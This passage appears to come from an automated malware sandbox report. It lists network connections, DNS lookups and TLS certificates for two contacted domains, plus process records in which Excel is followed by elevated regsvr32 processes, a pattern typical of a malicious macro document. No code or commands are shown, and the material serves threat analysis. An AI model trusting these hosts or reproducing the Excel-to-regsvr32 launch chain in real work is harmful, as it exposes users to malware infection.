| Jun 10, 2021 09:11:49.248341084 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:49.413909912 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:49.413964987 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:49.414005995 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:11:49.414052963 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:49.414112091 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:49.414119005 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:49.418772936 CEST | 49735 | 443 | 192.168.2.4 | 192.185.113.120 |
| Jun 10, 2021 09:11:49.582755089 CEST | 443 | 49735 | 192.185.113.120 | 192.168.2.4 |
| Jun 10, 2021 09:13:32.774796009 CEST | 49733 | 443 | 192.168.2.4 | 192.185.48.167 |
| Jun 10, 2021 09:13:33.163909912 CEST | 49733 | 443 | 192.168.2.4 | 192.185.48.167 |
| Jun 10, 2021 09:13:33.867224932 CEST | 49733 | 443 | 192.168.2.4 | 192.185.48.167 |
| Jun 10, 2021 09:13:35.258016109 CEST | 49733 | 443 | 192.168.2.4 | 192.185.48.167 |
| Jun 10, 2021 09:13:38.023844957 CEST | 49733 | 443 | 192.168.2.4 | 192.185.48.167 |
| Jun 10, 2021 09:13:43.555650949 CEST | 49733 | 443 | 192.168.2.4 | 192.185.48.167 |
| Jun 10, 2021 09:13:54.603156090 CEST | 49733 | 443 | 192.168.2.4 | 192.185.48.167 |
UDP Packets |
|---|
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Jun 10, 2021 09:11:32.420238972 CEST | 49714 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:32.470541000 CEST | 53 | 49714 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:33.775549889 CEST | 58028 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:33.827482939 CEST | 53 | 58028 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:34.408935070 CEST | 53097 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:34.470150948 CEST | 53 | 53097 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:34.711987019 CEST | 49257 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:34.765028000 CEST | 53 | 49257 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:36.036412001 CEST | 62389 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:36.087820053 CEST | 53 | 62389 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:41.579524994 CEST | 49910 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:41.633224964 CEST | 53 | 49910 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:42.761282921 CEST | 55854 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:42.851767063 CEST | 53 | 55854 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:43.227358103 CEST | 64549 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:43.300944090 CEST | 53 | 64549 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:44.264478922 CEST | 64549 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:44.337295055 CEST | 53 | 64549 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:44.402272940 CEST | 63153 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:44.454766989 CEST | 53 | 63153 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:45.312062979 CEST | 64549 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:45.370973110 CEST | 53 | 64549 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:46.263258934 CEST | 52991 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:46.459330082 CEST | 53 | 52991 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:46.738806009 CEST | 53700 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:46.790254116 CEST | 53 | 53700 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:47.358406067 CEST | 64549 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:47.417809963 CEST | 53 | 64549 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:47.586296082 CEST | 51726 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:47.852200985 CEST | 56794 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:47.905797005 CEST | 53 | 51726 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:47.915971041 CEST | 53 | 56794 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:48.950701952 CEST | 56534 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:49.002130985 CEST | 53 | 56534 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:50.128470898 CEST | 56627 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:50.178719997 CEST | 53 | 56627 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:51.094398975 CEST | 56621 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:51.144933939 CEST | 53 | 56621 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:51.405678988 CEST | 64549 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:51.456408978 CEST | 53 | 64549 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:52.831593990 CEST | 63116 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:52.881781101 CEST | 53 | 63116 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:57.244462013 CEST | 64078 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:57.294754028 CEST | 53 | 64078 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:58.362709045 CEST | 64801 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:58.414344072 CEST | 53 | 64801 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:11:59.277165890 CEST | 61721 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:11:59.330298901 CEST | 53 | 61721 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:12:00.201406956 CEST | 51255 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:12:00.251739979 CEST | 53 | 51255 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:12:01.333389044 CEST | 61522 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:12:01.404387951 CEST | 53 | 61522 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:12:01.933512926 CEST | 52337 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:12:01.987066031 CEST | 53 | 52337 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:12:02.849838972 CEST | 55046 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:12:02.914139986 CEST | 53 | 55046 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:12:16.486932039 CEST | 49612 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:12:16.639662027 CEST | 53 | 49612 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:12:17.723267078 CEST | 49285 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:12:17.763676882 CEST | 50601 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:12:17.792614937 CEST | 53 | 49285 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:12:17.910018921 CEST | 53 | 50601 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:12:18.939513922 CEST | 60875 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:12:19.002003908 CEST | 53 | 60875 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:12:19.791115999 CEST | 56448 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:12:19.854918003 CEST | 53 | 56448 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:12:21.022384882 CEST | 59172 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:12:21.076010942 CEST | 53 | 59172 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:12:22.068352938 CEST | 62420 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:12:22.130304098 CEST | 53 | 62420 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:12:22.952943087 CEST | 60579 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:12:23.015196085 CEST | 53 | 60579 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:12:24.444977999 CEST | 50183 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:12:24.505942106 CEST | 53 | 50183 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:12:25.908499002 CEST | 61531 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:12:25.967746019 CEST | 53 | 61531 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:12:26.813075066 CEST | 49228 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:12:26.833408117 CEST | 59794 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:12:26.875242949 CEST | 53 | 49228 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:12:26.895925045 CEST | 53 | 59794 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:12:36.324589968 CEST | 55916 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:12:36.393054008 CEST | 53 | 55916 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:12:36.613006115 CEST | 52752 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:12:36.679986954 CEST | 53 | 52752 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:12:47.085129976 CEST | 60542 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:12:47.145867109 CEST | 53 | 60542 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:13:10.674257994 CEST | 60689 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:13:10.748294115 CEST | 53 | 60689 | 8.8.8.8 | 192.168.2.4 |
| Jun 10, 2021 09:13:11.972161055 CEST | 64206 | 53 | 192.168.2.4 | 8.8.8.8 |
| Jun 10, 2021 09:13:12.030721903 CEST | 53 | 64206 | 8.8.8.8 | 192.168.2.4 |
DNS Queries |
|---|
| Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class |
|---|---|---|---|---|---|---|---|
| Jun 10, 2021 09:11:46.263258934 CEST | 192.168.2.4 | 8.8.8.8 | 0x822a | Standard query (0) | A (IP address) | IN (0x0001) | |
| Jun 10, 2021 09:11:47.586296082 CEST | 192.168.2.4 | 8.8.8.8 | 0xe0b4 | Standard query (0) | A (IP address) | IN (0x0001) |
DNS Answers |
|---|
| Timestamp | Source IP | Dest IP | Trans ID | Reply Code | Name | CName | Address | Type | Class |
|---|---|---|---|---|---|---|---|---|---|
| Jun 10, 2021 09:11:46.459330082 CEST | 8.8.8.8 | 192.168.2.4 | 0x822a | No error (0) | 192.185.48.167 | A (IP address) | IN (0x0001) | ||
| Jun 10, 2021 09:11:47.905797005 CEST | 8.8.8.8 | 192.168.2.4 | 0xe0b4 | No error (0) | 192.185.113.120 | A (IP address) | IN (0x0001) |
HTTPS Packets |
|---|
| Timestamp | Source IP | Source Port | Dest IP | Dest Port | Subject | Issuer | Not Before | Not After | JA3 SSL Client Fingerprint | JA3 SSL Client Digest |
|---|---|---|---|---|---|---|---|---|---|---|
| Jun 10, 2021 09:11:46.796487093 CEST | 192.185.48.167 | 443 | 192.168.2.4 | 49733 | CN=*.forfacks.com CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US | CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US CN=DST Root CA X3, O=Digital Signature Trust Co. | Sun May 16 07:28:43 CEST 2021 Fri Sep 04 02:00:00 CEST 2020 Wed Jan 20 20:14:03 CET 2021 | Sat Aug 14 07:28:43 CEST 2021 Mon Sep 15 18:00:00 CEST 2025 Mon Sep 30 20:14:03 CEST 2024 | 771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0 | 37f463bf4616ecd445d4a1937da06e19 |
| CN=R3, O=Let's Encrypt, C=US | CN=ISRG Root X1, O=Internet Security Research Group, C=US | Fri Sep 04 02:00:00 CEST 2020 | Mon Sep 15 18:00:00 CEST 2025 | |||||||
| CN=ISRG Root X1, O=Internet Security Research Group, C=US | CN=DST Root CA X3, O=Digital Signature Trust Co. | Wed Jan 20 20:14:03 CET 2021 | Mon Sep 30 20:14:03 CEST 2024 | |||||||
| Jun 10, 2021 09:11:48.243185997 CEST | 192.185.113.120 | 443 | 192.168.2.4 | 49735 | CN=*.dreamhimalayan.com CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US | CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US CN=DST Root CA X3, O=Digital Signature Trust Co. | Sun May 16 02:04:50 CEST 2021 Fri Sep 04 02:00:00 CEST 2020 Wed Jan 20 20:14:03 CET 2021 | Sat Aug 14 02:04:50 CEST 2021 Mon Sep 15 18:00:00 CEST 2025 Mon Sep 30 20:14:03 CEST 2024 | 771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0 | 37f463bf4616ecd445d4a1937da06e19 |
| CN=R3, O=Let's Encrypt, C=US | CN=ISRG Root X1, O=Internet Security Research Group, C=US | Fri Sep 04 02:00:00 CEST 2020 | Mon Sep 15 18:00:00 CEST 2025 | |||||||
| CN=ISRG Root X1, O=Internet Security Research Group, C=US | CN=DST Root CA X3, O=Digital Signature Trust Co. | Wed Jan 20 20:14:03 CET 2021 | Mon Sep 30 20:14:03 CEST 2024 |
Code Manipulations |
|---|
Statistics |
|---|
CPU Usage |
|---|
Click to jump to process
Memory Usage |
|---|
Click to jump to process
High Level Behavior Distribution |
|---|
back
Click to dive into process behavior distribution
Behavior |
|---|
Click to jump to process
System Behavior |
|---|
General |
|---|
| Start time: | 09:11:41 |
| Start date: | 10/06/2021 |
| Path: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0x1a0000 |
| File size: | 27110184 bytes |
| MD5 hash: | 5D6638F2C8F8571C593999C58866007E |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
General |
|---|
| Start time: | 09:11:49 |
| Start date: | 10/06/2021 |
| Path: | C:\Windows\SysWOW64\regsvr32.exe |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0xab0000 |
| File size: | 20992 bytes |
| MD5 hash: | 426E7499F6A7346F0410DEAD0805586B |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
General |
|---|
| Start time: | 09:11:49 |
| Start date: | 10/06/2021 |
| Path: | C:\Windows\SysWOW64\regsvr32.exe |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0xab0000 |
| File size: | 20992 bytes |
| MD5 hash: | 426E7499F6A7346F0410DEAD0805586B |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
Disassembly |
|---|
Code Analysis |
|---|